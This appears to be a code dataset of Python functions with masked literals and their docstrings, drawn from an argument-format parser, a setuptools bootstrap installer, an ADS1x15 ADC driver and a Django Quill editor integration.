{"signature": "def get_format(format):", "body": "if isinstance(format, BaseFormat):<EOL><INDENT>return format<EOL><DEDENT>if isinstance(format, str):<EOL><INDENT>for name, formatclass in list(globals().items()):<EOL><INDENT>if name.lower() == format.lower():<EOL><INDENT>if not issubclass(formatclass, BaseFormat):<EOL><INDENT>raise ValueError('<STR_LIT>' % format)<EOL><DEDENT>return formatclass()<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>return format()<EOL><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Get a format object.\n\n    If format is a format object, return unchanged. If it is a string \n    matching one of the BaseFormat subclasses in the tui.formats module\n    (case insensitive), return an instance of that class. Otherwise assume \n    it'a factory function for Formats (such as a class) so call and return,\n    and raise ValueError on error.", "id": "f5452:m1"}
{"signature": "def __init__(self, argument, message):", "body": "self.argument = argument<EOL>self.message = message<EOL>", "docstring": "value is the bad value or string literal, or a tui instance to use \nvalue[name].", "id": "f5452:c1:m0"}
{"signature": "def parse(self, argv):", "body": "", "docstring": "Pop, parse and return the first self.nargs items from args.\n\n        Subclasses that desire other behavior can override this (must be \n        overridden if self.nargs is None). \n\n        if self.nargs > 1 a list of parsed values will be returned.\n\n        Raise BadNumberOfArguments or BadArgument on errors.\n\n        NOTE: args may be modified in place by this method.", "id": "f5452:c3:m1"}
{"signature": "def parsestr(self, argstr):", "body": "argv = shlex.split(argstr, comments=True)<EOL>if len(argv) != self.nargs:<EOL><INDENT>raise BadNumberOfArguments(self.nargs, len(argv))<EOL><DEDENT>return self.parse(argv)<EOL>", "docstring": "Parse arguments found in settings files.\n\n        argstr is the string that should be parsed. Use e.g. '\"\"' to pass an\n        empty string.\n\n        if self.nargs > 1 a list of parsed values will be returned.\n\n        NOTE: formats with nargs == 0 or None probably want to override this \n        method.", "id": "f5452:c3:m2"}
{"signature": "def present(self, value):", "body": "", "docstring": "Return a user-friendly representation of a value.\n\n        Lookup value in self.specials, or call .to_literal() if absent.", "id": "f5452:c3:m3"}
{"signature": "def __init__(self,<EOL>args=None,<EOL>kw=None,<EOL>**kwargs):", "body": "super(Format, self).__init__(**kwargs)<EOL>if args is None:<EOL><INDENT>args = tuple()<EOL><DEDENT>self.args = tuple(args)<EOL>if kw is None:<EOL><INDENT>kw = dict()<EOL><DEDENT>self.kw = dict(kw)<EOL>", "docstring": "special is a argument:value dict of arguments with special meaning, \nwhere arguments (keys) must be strings and value can be any python \nobject. Can also be given as an iterable for argument:value pairs, or \nas an iterable for arguments that should be passed through untouched, \nor as a single string which is taken as a list of one item.\n\nIf case is False then all literals will be converted to lowercase for\nlookup in self.specials.    \n\nIf addspecialdocs is true then a notice of the accepted special \narguments will be appended to self.docs.\n\nargs and kw are additional positional and keyword parameters to be \npassed to self.to_python and self.to_literal.", "id": "f5452:c5:m0"}
{"signature": "def to_python(self, literal, *args, **kw):", "body": "return literal<EOL>", "docstring": "Convert a literal to a python object.", "id": "f5452:c5:m1"}
{"signature": "def to_literal(self, value, *args, **kw):", "body": "return str(value)<EOL>", "docstring": "Convert a value to a user-friendly representation.", "id": "f5452:c5:m2"}
{"signature": "def parse_argument(self, arg):", "body": "lookup = self.casesensitive and arg or arg.lower()<EOL>if lookup in self.special:<EOL><INDENT>return self.special[lookup]<EOL><DEDENT>try:<EOL><INDENT>return self.to_python(arg, *self.args, **self.kw)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise BadArgument(arg, str(e))<EOL><DEDENT>", "docstring": "Parse a single argument.\n\n        Lookup arg in self.specials, or call .to_python() if absent. Raise \n        BadArgument on errors.", "id": "f5452:c5:m3"}
{"signature": "def parse(self, argv):", "body": "if len(argv) < self.nargs:<EOL><INDENT>raise BadNumberOfArguments(self.nargs, len(argv))<EOL><DEDENT>if self.nargs == <NUM_LIT:1>:<EOL><INDENT>return self.parse_argument(argv.pop(<NUM_LIT:0>))<EOL><DEDENT>return [self.parse_argument(argv.pop(<NUM_LIT:0>)) for tmp in range(self.nargs)]<EOL>", "docstring": "Pop, parse and return the first self.nargs items from args.\n\n        if self.nargs > 1 a list of parsed values will be returned.\n\n        Raise BadNumberOfArguments or BadArgument on errors.\n\n        NOTE: argv may be modified in place by this method.", "id": "f5452:c5:m4"}
{"signature": "def present(self, value):", "body": "for k, v in list(self.special.items()):<EOL><INDENT>if v == value:<EOL><INDENT>return k<EOL><DEDENT><DEDENT>return self.to_literal(value, *self.args, **self.kw)<EOL>", "docstring": "Return a user-friendly representation of a value.\n\n        Lookup value in self.specials, or call .to_literal() if absent.", "id": "f5452:c5:m5"}
{"signature": "def parsestr(self, argstr):", "body": "argv = shlex.split(argstr, comments=True)<EOL>if len(argv) != <NUM_LIT:1>:<EOL><INDENT>raise BadNumberOfArguments(<NUM_LIT:1>, len(argv))<EOL><DEDENT>arg = argv[<NUM_LIT:0>]<EOL>lower = arg.lower()<EOL>if lower in self.true:<EOL><INDENT>return True<EOL><DEDENT>if lower in self.false:<EOL><INDENT>return False<EOL><DEDENT>raise BadArgument(arg, \"<STR_LIT>\" + self.allowed + '<STR_LIT:.>')<EOL>", "docstring": "Parse arguments found in settings files.\n\n        Use the values in self.true for True in settings files, or those in \n        self.false for False, case insensitive.", "id": "f5452:c6:m1"}
{"signature": "def __init__(self,<EOL>lower=None,<EOL>upper=None,<EOL>inclusive=None,<EOL>lowerinclusive=True,<EOL>upperinclusive=True,<EOL>**kw):", "body": "super(Int, self).__init__(**kw)<EOL>if inclusive is not None:<EOL><INDENT>lowerinclusive = upperinclusive = inclusive<EOL><DEDENT>self.lower = lower<EOL>self.upper = upper<EOL>self.lowerinclusive = lowerinclusive<EOL>self.upperinclusive = upperinclusive<EOL>docs = [self.docs[:-<NUM_LIT:1>]]<EOL>if lower is not None:<EOL><INDENT>if lowerinclusive:<EOL><INDENT>docs.append('<STR_LIT>' + self.to_literal(lower))<EOL><DEDENT>else:<EOL><INDENT>docs.append('<STR_LIT>' + self.to_literal(lower))<EOL><DEDENT>if upper is not None:<EOL><INDENT>docs.append('<STR_LIT>')<EOL><DEDENT><DEDENT>if upper is not None:<EOL><INDENT>if upperinclusive:<EOL><INDENT>docs.append('<STR_LIT>' + self.to_literal(upper))<EOL><DEDENT>else:<EOL><INDENT>docs.append('<STR_LIT>' + self.to_literal(upper))<EOL><DEDENT><DEDENT>self._docs = '<STR_LIT:U+0020>'.join(docs) + '<STR_LIT:.>'<EOL>", "docstring": "lower and upper (if not None) give the lower and upper bounds of \npermissible values. \n\nlowerinclusive and upperinclusive state whether the bound values \nthemselves are within the permissible range.\n\ninclusive (if not None) overrides lowerinclusive and upperinclusive.", "id": "f5452:c8:m0"}
{"signature": "def __init__(self,<EOL>lower=None,<EOL>upper=None,<EOL>inclusive=None,<EOL>lowerinclusive=True,<EOL>upperinclusive=True,<EOL>formatter=None,<EOL>**kw):", "body": "super(Float, self).__init__(lower, upper, inclusive, lowerinclusive, upperinclusive, **kw)<EOL>if formatter:<EOL><INDENT>self.kw['<STR_LIT>'] = formatter<EOL><DEDENT>", "docstring": "formatter should be a python string interpolation format stating how \nto display the value. None means use plain str.", "id": "f5452:c9:m0"}
{"signature": "def __init__(self, flags=<NUM_LIT:0>, **kw):", "body": "if isinstance(flags, str):<EOL><INDENT>flags = flags.upper()<EOL>if flags.translate(None, '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>' + flags.translate(None, '<STR_LIT>'))<EOL><DEDENT>flags = reduce(lambda i, flag: i | getattr(re, flag), flags, <NUM_LIT:0>)<EOL><DEDENT>super(RegEx, self).__init__(**kw)<EOL>self.kw['<STR_LIT>'] = flags<EOL>", "docstring": "flags should be an integer and is passed to re.compile. It can \n        also be a string of one or more of the letters 'iLmsux' (the short \n        names of the re flags).", "id": "f5452:c16:m0"}
{"signature": "def parse(self, argv):", "body": "if not argv:<EOL><INDENT>raise BadNumberOfArguments(<NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>argument = argv.pop(<NUM_LIT:0>)<EOL>lookup = self.casesensitive and argument or argument.lower()<EOL>if lookup in self.special:<EOL><INDENT>return self.special[lookup]<EOL><DEDENT>argv = [(self.strip and s.strip() or s) for s in argument.split(self.separator)]<EOL>values = []<EOL>while argv:<EOL><INDENT>values.append(self.format.parse(argv))<EOL><DEDENT>return values<EOL>", "docstring": "Pop, parse and return the first arg from argv.\n\n        The arg will be .split() based on self.separator and the (optionally \n        stripped) items will be parsed by self.format and returned as a list. \n\n        Raise BadNumberOfArguments or BadArgument on errors.\n\n        NOTE: args will be modified.", "id": "f5452:c17:m3"}
{"signature": "def present(self, value):", "body": "for k, v in list(self.special.items()):<EOL><INDENT>if v == value:<EOL><INDENT>return k<EOL><DEDENT><DEDENT>return self.separator.join(self.format.present(v) for v in value)<EOL>", "docstring": "Return a user-friendly representation of a value.\n\n        Lookup value in self.specials, or call .to_literal() if absent.", "id": "f5452:c17:m4"}
{"signature": "def __init__(self,<EOL>format,<EOL>separator=None,<EOL>strip=True,<EOL>**kw):", "body": "self.format = []<EOL>for f in format:<EOL><INDENT>self.format.append(get_format(f))<EOL>if f.nargs == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>super(Tuple, self).__init__(**kw)<EOL>self.separator = separator or self.__class__.separator<EOL>if len(self.separator) >= len(format):<EOL><INDENT>raise ValueError('<STR_LIT>') <EOL><DEDENT>self.strip = strip<EOL>", "docstring": "self.separator should be a string of separator characters. If there are\nmore formats than separators, the last given separator will be used \nrepeatedly for all the rest. \n\nIf strip is true, each part of the split argument will be stripped \nbefore passed to its format for parsing.\n\nSee Metaformat and Baseformat for other parameters.", "id": "f5452:c18:m0"}
{"signature": "def get_separator(self, i):", "body": "return i and self.separator[min(i - <NUM_LIT:1>, len(self.separator) - <NUM_LIT:1>)] or '<STR_LIT>'<EOL>", "docstring": "Return the separator that preceding format i, or '' for i == 0.", "id": "f5452:c18:m1"}
{"signature": "def parse(self, argv):", "body": "if not argv:<EOL><INDENT>raise BadNumberOfArguments(<NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>remainder = argv.pop(<NUM_LIT:0>)<EOL>lookup = self.casesensitive and remainder or remainder.lower()<EOL>if lookup in self.special:<EOL><INDENT>return self.special[lookup]<EOL><DEDENT>values = []<EOL>for i, format in enumerate(self.format[:-<NUM_LIT:1>]):<EOL><INDENT>print(i, self.get_separator(i))<EOL>try:<EOL><INDENT>arg, remainder = remainder.split(self.get_separator(i + <NUM_LIT:1>), <NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>raise BadArgument(remainder, '<STR_LIT>' + repr(self.get_separator(i + <NUM_LIT:1>)))<EOL><DEDENT>if self.strip:<EOL><INDENT>arg = arg.strip()<EOL><DEDENT>values.append(format.parse([arg]))<EOL><DEDENT>if self.strip:<EOL><INDENT>remainder = remainder.strip()<EOL><DEDENT>values.append(format.parse([remainder]))<EOL>return values<EOL>", "docstring": "Pop, parse and return the first arg from argv.\n\n        The arg will be repeatedly .split(x, 1) based on self.get_separator() and the \n        (optionally stripped) items will be parsed by self.format and returned\n        as a list. \n\n        Raise BadNumberOfArguments or BadArgument on errors.\n\n        NOTE: args will be modified.", "id": "f5452:c18:m4"}
{"signature": "def present(self, value):", "body": "for k, v in list(self.special.items()):<EOL><INDENT>if v == value:<EOL><INDENT>return k<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(self.get_separator(i) + self.format[i].present(v) for i, v in enumerate(value))<EOL>", "docstring": "Return a user-friendly representation of a value.\n\n        Lookup value in self.specials, or call .to_literal() if absent.", "id": "f5452:c18:m5"}
{"signature": "def _python_cmd(*args):", "body": "args = (sys.executable,) + args<EOL>return subprocess.call(args) == <NUM_LIT:0><EOL>", "docstring": "Return True if the command succeeded.", "id": "f5454:m0"}
{"signature": "def get_zip_class():", "body": "class ContextualZipFile(zipfile.ZipFile):<EOL><INDENT>def __enter__(self):<EOL><INDENT>return self<EOL><DEDENT>def __exit__(self, type, value, traceback):<EOL><INDENT>self.close<EOL><DEDENT><DEDENT>return zipfile.ZipFile if hasattr(zipfile.ZipFile, '<STR_LIT>') elseContextualZipFile<EOL>", "docstring": "Supplement ZipFile class to support context manager for Python 2.6", "id": "f5454:m3"}
{"signature": "def _clean_check(cmd, target):", "body": "try:<EOL><INDENT>subprocess.check_call(cmd)<EOL><DEDENT>except subprocess.CalledProcessError:<EOL><INDENT>if os.access(target, os.F_OK):<EOL><INDENT>os.unlink(target)<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Run the command to download target. If the command fails, clean up before\nre-raising the error.", "id": "f5454:m7"}
{"signature": "def download_file_powershell(url, target):", "body": "target = os.path.abspath(target)<EOL>cmd = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\" % vars(),<EOL>]<EOL>_clean_check(cmd, target)<EOL>", "docstring": "Download the file at url to target using Powershell (which will validate\ntrust). Raise an exception if the command cannot complete.", "id": "f5454:m8"}
{"signature": "def download_file_insecure(url, target):", "body": "try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>src = dst = None<EOL>try:<EOL><INDENT>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(target, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT>", "docstring": "Use Python to download the file, even though it cannot authenticate the\nconnection.", "id": "f5454:m14"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>, downloader_factory=get_best_downloader):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>zip_name = \"<STR_LIT>\" % version<EOL>url = download_base + zip_name<EOL>saveto = os.path.join(to_dir, zip_name)<EOL>if not os.path.exists(saveto):  <EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>downloader = downloader_factory()<EOL>downloader(url, saveto)<EOL><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download setuptools from a specified location and return its filename\n\n`version` should be a valid setuptools version number that is available\nas an egg for download under the `download_base` URL (which should end\nwith a '/'). `to_dir` is the directory where the egg will be downloaded.\n`delay` is the number of seconds to pause before an actual download\nattempt.\n\n``downloader_factory`` should be a function taking no arguments and\nreturning a function for downloading a URL to a target.", "id": "f5454:m16"}
{"signature": "def _build_install_args(options):", "body": "return ['<STR_LIT>'] if options.user_install else []<EOL>", "docstring": "Build the arguments to 'python setup.py install' on the setuptools package", "id": "f5454:m17"}
{"signature": "def _parse_args():", "body": "parser = optparse.OptionParser()<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT:store_true>', default=False,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', metavar=\"<STR_LIT>\",<EOL>default=DEFAULT_URL,<EOL>help='<STR_LIT>')<EOL>parser.add_option(<EOL>'<STR_LIT>', dest='<STR_LIT>', action='<STR_LIT>',<EOL>const=lambda: download_file_insecure, default=get_best_downloader,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_option(<EOL>'<STR_LIT>', help=\"<STR_LIT>\",<EOL>default=DEFAULT_VERSION,<EOL>)<EOL>options, args = parser.parse_args()<EOL>return options<EOL>", "docstring": "Parse the command line for options", "id": "f5454:m18"}
{"signature": "def main():", "body": "options = _parse_args()<EOL>archive = download_setuptools(<EOL>version=options.version,<EOL>download_base=options.download_base,<EOL>downloader_factory=options.downloader_factory,<EOL>)<EOL>return _install(archive, _build_install_args(options))<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f5454:m19"}
{"signature": "def _data_rate_default(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Retrieve the default data rate for this ADC (in samples per second).\n        Should be implemented by subclasses.", "id": "f5460:c0:m1"}
{"signature": "def _data_rate_config(self, data_rate):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Subclasses should override this function and return a 16-bit value\n        that can be OR'ed with the config register to set the specified\n        data rate.  If a value of None is specified then a default data_rate\n        setting should be returned.  If an invalid or unsupported data_rate is\n        provided then an exception should be thrown.", "id": "f5460:c0:m2"}
{"signature": "def _conversion_value(self, low, high):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Subclasses should override this function that takes the low and high\n        byte of a conversion result and returns a signed integer value.", "id": "f5460:c0:m3"}
{"signature": "def _read(self, mux, gain, data_rate, mode):", "body": "config = ADS1x15_CONFIG_OS_SINGLE  <EOL>config |= (mux & <NUM_LIT>) << ADS1x15_CONFIG_MUX_OFFSET<EOL>if gain not in ADS1x15_CONFIG_GAIN:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>config |= ADS1x15_CONFIG_GAIN[gain]<EOL>config |= mode<EOL>if data_rate is None:<EOL><INDENT>data_rate = self._data_rate_default()<EOL><DEDENT>config |= self._data_rate_config(data_rate)<EOL>config |= ADS1x15_CONFIG_COMP_QUE_DISABLE  <EOL>self._device.writeList(ADS1x15_POINTER_CONFIG, [(config >> <NUM_LIT:8>) & <NUM_LIT>, config & <NUM_LIT>])<EOL>time.sleep(<NUM_LIT:1.0>/data_rate+<NUM_LIT>)<EOL>result = self._device.readList(ADS1x15_POINTER_CONVERSION, <NUM_LIT:2>)<EOL>return self._conversion_value(result[<NUM_LIT:1>], result[<NUM_LIT:0>])<EOL>", "docstring": "Perform an ADC read with the provided mux, gain, data_rate, and mode\n        values.  Returns the signed integer result of the read.", "id": "f5460:c0:m4"}
{"signature": "def _read_comparator(self, mux, gain, data_rate, mode, high_threshold,<EOL>low_threshold, active_low, traditional, latching,<EOL>num_readings):", "body": "assert num_readings == <NUM_LIT:1> or num_readings == <NUM_LIT:2> or num_readings == <NUM_LIT:4>, '<STR_LIT>'<EOL>self._device.writeList(ADS1x15_POINTER_HIGH_THRESHOLD, [(high_threshold >> <NUM_LIT:8>) & <NUM_LIT>, high_threshold & <NUM_LIT>])<EOL>self._device.writeList(ADS1x15_POINTER_LOW_THRESHOLD, [(low_threshold >> <NUM_LIT:8>) & <NUM_LIT>, low_threshold & <NUM_LIT>])<EOL>config = ADS1x15_CONFIG_OS_SINGLE  <EOL>config |= (mux & <NUM_LIT>) << ADS1x15_CONFIG_MUX_OFFSET<EOL>if gain not in ADS1x15_CONFIG_GAIN:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>config |= ADS1x15_CONFIG_GAIN[gain]<EOL>config |= mode<EOL>if data_rate is None:<EOL><INDENT>data_rate = self._data_rate_default()<EOL><DEDENT>config |= self._data_rate_config(data_rate)<EOL>if not traditional:<EOL><INDENT>config |= ADS1x15_CONFIG_COMP_WINDOW<EOL><DEDENT>if not active_low:<EOL><INDENT>config |= ADS1x15_CONFIG_COMP_ACTIVE_HIGH<EOL><DEDENT>if latching:<EOL><INDENT>config |= ADS1x15_CONFIG_COMP_LATCHING<EOL><DEDENT>config |= ADS1x15_CONFIG_COMP_QUE[num_readings]<EOL>self._device.writeList(ADS1x15_POINTER_CONFIG, [(config >> <NUM_LIT:8>) & <NUM_LIT>, config & <NUM_LIT>])<EOL>time.sleep(<NUM_LIT:1.0>/data_rate+<NUM_LIT>)<EOL>result = self._device.readList(ADS1x15_POINTER_CONVERSION, <NUM_LIT:2>)<EOL>return self._conversion_value(result[<NUM_LIT:1>], result[<NUM_LIT:0>])<EOL>", "docstring": "Perform an ADC read with the provided mux, gain, data_rate, and mode\n        values and with the comparator enabled as specified.  Returns the signed\n        integer result of the read.", "id": "f5460:c0:m5"}
{"signature": "def read_adc(self, channel, gain=<NUM_LIT:1>, data_rate=None):", "body": "assert <NUM_LIT:0> <= channel <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read(channel + <NUM_LIT>, gain, data_rate, ADS1x15_CONFIG_MODE_SINGLE)<EOL>", "docstring": "Read a single ADC channel and return the ADC value as a signed integer\n        result.  Channel must be a value within 0-3.", "id": "f5460:c0:m6"}
{"signature": "def read_adc_difference(self, differential, gain=<NUM_LIT:1>, data_rate=None):", "body": "assert <NUM_LIT:0> <= differential <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read(differential, gain, data_rate, ADS1x15_CONFIG_MODE_SINGLE)<EOL>", "docstring": "Read the difference between two ADC channels and return the ADC value\n        as a signed integer result.  Differential must be one of:\n          - 0 = Channel 0 minus channel 1\n          - 1 = Channel 0 minus channel 3\n          - 2 = Channel 1 minus channel 3\n          - 3 = Channel 2 minus channel 3", "id": "f5460:c0:m7"}
{"signature": "def start_adc(self, channel, gain=<NUM_LIT:1>, data_rate=None):", "body": "assert <NUM_LIT:0> <= channel <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read(channel + <NUM_LIT>, gain, data_rate, ADS1x15_CONFIG_MODE_CONTINUOUS)<EOL>", "docstring": "Start continuous ADC conversions on the specified channel (0-3). Will\n        return an initial conversion result, then call the get_last_result()\n        function to read the most recent conversion result. Call stop_adc() to\n        stop conversions.", "id": "f5460:c0:m8"}
{"signature": "def start_adc_difference(self, differential, gain=<NUM_LIT:1>, data_rate=None):", "body": "assert <NUM_LIT:0> <= differential <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read(differential, gain, data_rate, ADS1x15_CONFIG_MODE_CONTINUOUS)<EOL>", "docstring": "Start continuous ADC conversions between two ADC channels. Differential\n        must be one of:\n          - 0 = Channel 0 minus channel 1\n          - 1 = Channel 0 minus channel 3\n          - 2 = Channel 1 minus channel 3\n          - 3 = Channel 2 minus channel 3\n        Will return an initial conversion result, then call the get_last_result()\n        function continuously to read the most recent conversion result.  Call\n        stop_adc() to stop conversions.", "id": "f5460:c0:m9"}
{"signature": "def start_adc_comparator(self, channel, high_threshold, low_threshold,<EOL>gain=<NUM_LIT:1>, data_rate=None, active_low=True,<EOL>traditional=True, latching=False, num_readings=<NUM_LIT:1>):", "body": "assert <NUM_LIT:0> <= channel <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read_comparator(channel + <NUM_LIT>, gain, data_rate,<EOL>ADS1x15_CONFIG_MODE_CONTINUOUS,<EOL>high_threshold, low_threshold, active_low,<EOL>traditional, latching, num_readings)<EOL>", "docstring": "Start continuous ADC conversions on the specified channel (0-3) with\n        the comparator enabled.  When enabled the comparator to will check if\n        the ADC value is within the high_threshold & low_threshold value (both\n        should be signed 16-bit integers) and trigger the ALERT pin.  The\n        behavior can be controlled by the following parameters:\n          - active_low: Boolean that indicates if ALERT is pulled low or high\n                        when active/triggered.  Default is true, active low.\n          - traditional: Boolean that indicates if the comparator is in traditional\n                         mode where it fires when the value is within the threshold,\n                         or in window mode where it fires when the value is _outside_\n                         the threshold range.  Default is true, traditional mode.\n          - latching: Boolean that indicates if the alert should be held until\n                      get_last_result() is called to read the value and clear\n                      the alert.  Default is false, non-latching.\n          - num_readings: The number of readings that match the comparator before\n                          triggering the alert.  Can be 1, 2, or 4.  Default is 1.\n        Will return an initial conversion result, then call the get_last_result()\n        function continuously to read the most recent conversion result.  Call\n        stop_adc() to stop conversions.", "id": "f5460:c0:m10"}
{"signature": "def start_adc_difference_comparator(self, differential, high_threshold, low_threshold,<EOL>gain=<NUM_LIT:1>, data_rate=None, active_low=True,<EOL>traditional=True, latching=False, num_readings=<NUM_LIT:1>):", "body": "assert <NUM_LIT:0> <= differential <= <NUM_LIT:3>, '<STR_LIT>'<EOL>return self._read_comparator(differential, gain, data_rate,<EOL>ADS1x15_CONFIG_MODE_CONTINUOUS,<EOL>high_threshold, low_threshold, active_low,<EOL>traditional, latching, num_readings)<EOL>", "docstring": "Start continuous ADC conversions between two channels with\n        the comparator enabled.  See start_adc_difference for valid differential\n        parameter values and their meaning.  When enabled the comparator to will\n        check if the ADC value is within the high_threshold & low_threshold value\n        (both should be signed 16-bit integers) and trigger the ALERT pin.  The\n        behavior can be controlled by the following parameters:\n          - active_low: Boolean that indicates if ALERT is pulled low or high\n                        when active/triggered.  Default is true, active low.\n          - traditional: Boolean that indicates if the comparator is in traditional\n                         mode where it fires when the value is within the threshold,\n                         or in window mode where it fires when the value is _outside_\n                         the threshold range.  Default is true, traditional mode.\n          - latching: Boolean that indicates if the alert should be held until\n                      get_last_result() is called to read the value and clear\n                      the alert.  Default is false, non-latching.\n          - num_readings: The number of readings that match the comparator before\n                          triggering the alert.  Can be 1, 2, or 4.  Default is 1.\n        Will return an initial conversion result, then call the get_last_result()\n        function continuously to read the most recent conversion result.  Call\n        stop_adc() to stop conversions.", "id": "f5460:c0:m11"}
{"signature": "def stop_adc(self):", "body": "<EOL>config = <NUM_LIT><EOL>self._device.writeList(ADS1x15_POINTER_CONFIG, [(config >> <NUM_LIT:8>) & <NUM_LIT>, config & <NUM_LIT>])<EOL>", "docstring": "Stop all continuous ADC conversions (either normal or difference mode).", "id": "f5460:c0:m12"}
{"signature": "def get_last_result(self):", "body": "<EOL>result = self._device.readList(ADS1x15_POINTER_CONVERSION, <NUM_LIT:2>)<EOL>return self._conversion_value(result[<NUM_LIT:1>], result[<NUM_LIT:0>])<EOL>", "docstring": "Read the last conversion result when in continuous conversion mode.\n        Will return a signed integer value.", "id": "f5460:c0:m13"}
{"signature": "def get_urls(self):", "body": "urls = patterns(<EOL>'<STR_LIT>',<EOL>url(r'<STR_LIT>', self.admin_site.admin_view(self.handle_upload), name='<STR_LIT>'),<EOL>)<EOL>return urls + super(QuillAdmin, self).get_urls()<EOL>", "docstring": "Add URLs needed to handle image uploads.", "id": "f5472:c0:m0"}
{"signature": "def handle_upload(self, request):", "body": "if request.method != '<STR_LIT:POST>':<EOL><INDENT>raise Http404<EOL><DEDENT>if request.is_ajax():<EOL><INDENT>try:<EOL><INDENT>filename = request.GET['<STR_LIT>']<EOL>data = request<EOL>is_raw = True<EOL><DEDENT>except KeyError:<EOL><INDENT>return HttpResponseBadRequest(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(request.FILES) != <NUM_LIT:1>:<EOL><INDENT>return HttpResponseBadRequest(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>data = request.FILES['<STR_LIT>']<EOL>filename = data.name<EOL>is_raw = False<EOL><DEDENT>except KeyError:<EOL><INDENT>return HttpResponseBadRequest('<STR_LIT>')<EOL><DEDENT><DEDENT>url = save_file(data, filename, is_raw, default_storage)<EOL>response_data = {}<EOL>response_data['<STR_LIT:url>'] = url<EOL>return HttpResponse(json.dumps(response_data), content_type=\"<STR_LIT>\")<EOL>", "docstring": "Handle file uploads from WYSIWYG.", "id": "f5472:c0:m1"}
{"signature": "@register.filter()<EOL>def quill_conf(name):", "body": "return getattr(quill_app, name)<EOL>", "docstring": "Get a value from the configuration app.", "id": "f5473:m0"}
{"signature": "@register.filter()<EOL>def quill_conf_json(name):", "body": "return json.dumps(getattr(quill_app, name))<EOL>", "docstring": "Get a value from the configuration app as JSON.", "id": "f5473:m1"}
{"signature": "@register.simple_tag(takes_context=True)<EOL>def render_toolbar(context, config):", "body": "quill_config = getattr(quill_app, config)<EOL>t = template.loader.get_template(quill_config['<STR_LIT>'])<EOL>return t.render(context)<EOL>", "docstring": "Render the toolbar for the given config.", "id": "f5473:m2"}
{"signature": "@register.simple_tag(takes_context=True)<EOL>def render_editor(context, config):", "body": "quill_config = getattr(quill_app, config)<EOL>t = template.loader.get_template(quill_config['<STR_LIT>'])<EOL>return t.render(context)<EOL>", "docstring": "Render the editor for the given config.", "id": "f5473:m3"}
{"signature": "def __init__(self, config='<STR_LIT:default>', *args, **kwargs):", "body": "self.config = config<EOL>super(RichTextField, self).__init__(*args, **kwargs)<EOL>", "docstring": "Create a new WYSIWYG field.\n\n        :param str config: The QuillJS config to use (from :py:class:`quill.apps.QuillConfig`)", "id": "f5475:c0:m0"}
{"signature": "def formfield(self, **kwargs):", "body": "defaults = {<EOL>'<STR_LIT>': RichTextFormField,<EOL>'<STR_LIT>': self.config,<EOL>}<EOL>defaults.update(kwargs)<EOL>return super(RichTextField, self).formfield(**defaults)<EOL>", "docstring": "Get the form for field.", "id": "f5475:c0:m1"}
{"signature": "def __init__(self, config='<STR_LIT:default>', *args, **kwargs):", "body": "kwargs.update({<EOL>'<STR_LIT>': QuillEditorWidget(config=config)<EOL>})<EOL>super(RichTextFormField, self).__init__(*args, **kwargs)<EOL>", "docstring": "Create a new WYSIWYG form field.\n\n        :param str config: The QuillJS config to use (from :py:class:`quill.apps.QuillConfig`)", "id": "f5475:c1:m0"}
{"signature": "def __init__(self, config='<STR_LIT:default>', *args, **kwargs):", "body": "self.config = config<EOL>super(QuillEditorWidget, self).__init__(*args, **kwargs)<EOL>", "docstring": "Create a new Quill WYSIWYG Widget.\n\n        :param str config: The QuillJS config to use (from :py:class:`quill.apps.QuillConfig`)", "id": "f5478:c0:m0"}
{"signature": "def render(self, name, value, attrs={}):", "body": "if value is None:<EOL><INDENT>value = '<STR_LIT>'<EOL><DEDENT>final_attrs = self.build_attrs(attrs, name=name)<EOL>quill_app = apps.get_app_config('<STR_LIT>')<EOL>quill_config = getattr(quill_app, self.config)<EOL>return mark_safe(render_to_string(quill_config['<STR_LIT>'], {<EOL>'<STR_LIT>': flatatt(final_attrs),<EOL>'<STR_LIT:value>': value,<EOL>'<STR_LIT:id>': final_attrs['<STR_LIT:id>'],<EOL>'<STR_LIT>': self.config,<EOL>}))<EOL>", "docstring": "Render the Quill WYSIWYG.", "id": "f5478:c0:m1"}
